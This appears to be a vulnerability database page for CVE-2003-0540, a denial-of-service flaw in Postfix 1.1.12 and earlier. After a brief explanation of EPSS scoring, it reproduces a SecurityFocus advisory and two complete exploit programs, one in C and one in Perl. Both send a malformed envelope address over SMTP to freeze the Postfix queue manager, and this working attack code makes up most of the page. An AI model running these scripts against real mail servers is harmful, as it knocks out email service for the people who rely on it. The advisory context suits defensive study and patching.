CVE-2003-0540 : Detail

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

// source: https://www.securityfocus.com/bid/8333/info Debian has reported two vulnerabilities in the Postfix mail transfer agent. The first vulnerability, CAN-2003-0468, can allow for an adversary to "bounce-scan" a private network. It has also been reported that this vulnerability can be exploited to use the server as a distributed denial of service tool. These attacks are reportedly possible through forcing the server to connect to an arbitrary port on an arbitrary host. The second vulnerability, CAN-2003-0540, is another denial of service. It can be triggered by a malformed envelope address and can cause the queue manager to lock up until the message is removed manually from the queue. It is also reportedly possible to lock the SMTP listener, also resulting in a denial of service. /* postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl> ------------------------------------------------ remote/local Postfix up to (including) 1.1.12 DoS discovered by lcamtuf <lcamtuf@coredump.cx> */ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/types.h> #include <sys/socket.h> #include <netdb.h> #include <netinet/in.h> #include <unistd.h> #include <arpa/inet.h> int sock = 0; void get_response(void); void say(char *it); int main(int argc, char* argv[]) { struct hostent *hp; struct sockaddr_in addr; printf("postfixdos.c for 1.1.12 by r3b00t <r3b00t@tx.pl>\n"); if (argc<2) { printf("usage: %s <smtpserver>\n", argv[0]); exit(0); } hp=gethostbyname(argv[1]); if (!hp) { printf("can't resolve %s\n", argv[1]); exit(0); } bzero((char *)&addr, sizeof(addr)); if ((sock = socket(AF_INET, SOCK_STREAM, 0)) < 0) { printf("can't create socket\n"); exit(0); } bcopy(hp->h_addr, (char *)&addr.sin_addr, hp->h_length); addr.sin_family=AF_INET; addr.sin_port=htons(25); if (connect(sock, (struct sockaddr *)&addr, sizeof(addr))!=0) { printf("can't connect to %s\n", argv[1]); close(sock); exit(0); } get_response(); say("helo host\r\n"); say("mail from: <.!>\r\n"); say("rcpt to: <someuser123@[127.0.0.1]>\r\n"); /* now should be freezed */ shutdown(sock, 2); close(sock); printf("done.\n"); return 0; } void get_response(void) { char buff[64]; recv(sock, buff, sizeof(buff), 0); if (buff[0]!='2' && buff[0]!='3') printf("%s", buff); } void say(char *it) { send(sock, it, strlen(it), 0); get_response(); }

source: https://www.securityfocus.com/bid/8333/info Debian has reported two vulnerabilities in the Postfix mail transfer agent. The first vulnerability, CAN-2003-0468, can allow for an adversary to "bounce-scan" a private network. It has also been reported that this vulnerability can be exploited to use the server as a distributed denial of service tool. These attacks are reportedly possible through forcing the server to connect to an arbitrary port on an arbitrary host. The second vulnerability, CAN-2003-0540, is another denial of service. It can be triggered by a malformed envelope address and can cause the queue manager to lock up until the message is removed manually from the queue. It is also reportedly possible to lock the SMTP listener, also resulting in a denial of service. #!/usr/bin/perl #Remote Dos for postfix version 1.1.12 #tested on redhat 9.0, redhat 8.0, mandrake 9.0 #deadbeat, #mail: daniels@legend.co.uk # deadbeat@sdf.lonestar.org # #thanks..enjoy ;) use IO::Socket; if (!$ARGV[3]){ die "Usage:perl $0 <subject> <data> <smtp host to use>\n"; } $subject = $ARGV[0]; $junk = $ARGV[1]; $smtp_host = $ARGV[2]; $helo = "HELO $smtp_host\r\n"; $rcpt = "RCPT To:<nonexistant@127.0.0.1>\r\n"; $data = "DATA\n$junk\r\n"; $sub = "Subject: $subject\r\n"; $from = "MAIL From <.!@$smtp_host>\r\n"; print "Going to connect to $smtp_host\n"; $sox = IO::Socket::INET->new( Proto=> 'tcp', PeerPort=>'25', PeerAddr=>'$smtp_host', ); print "Connected...\n"; print $sox $helo; sleep 1; print $sox $from; sleep 1; print $sox $rcpt; sleep 1; print $sox $sub; sleep 1; print $sox $data; sleep 1; print $sox ".\r\n\r\n"; sleep 1; close $sox; print "Done..should lock up Postfix 1.1.12 and below ;)\n\n";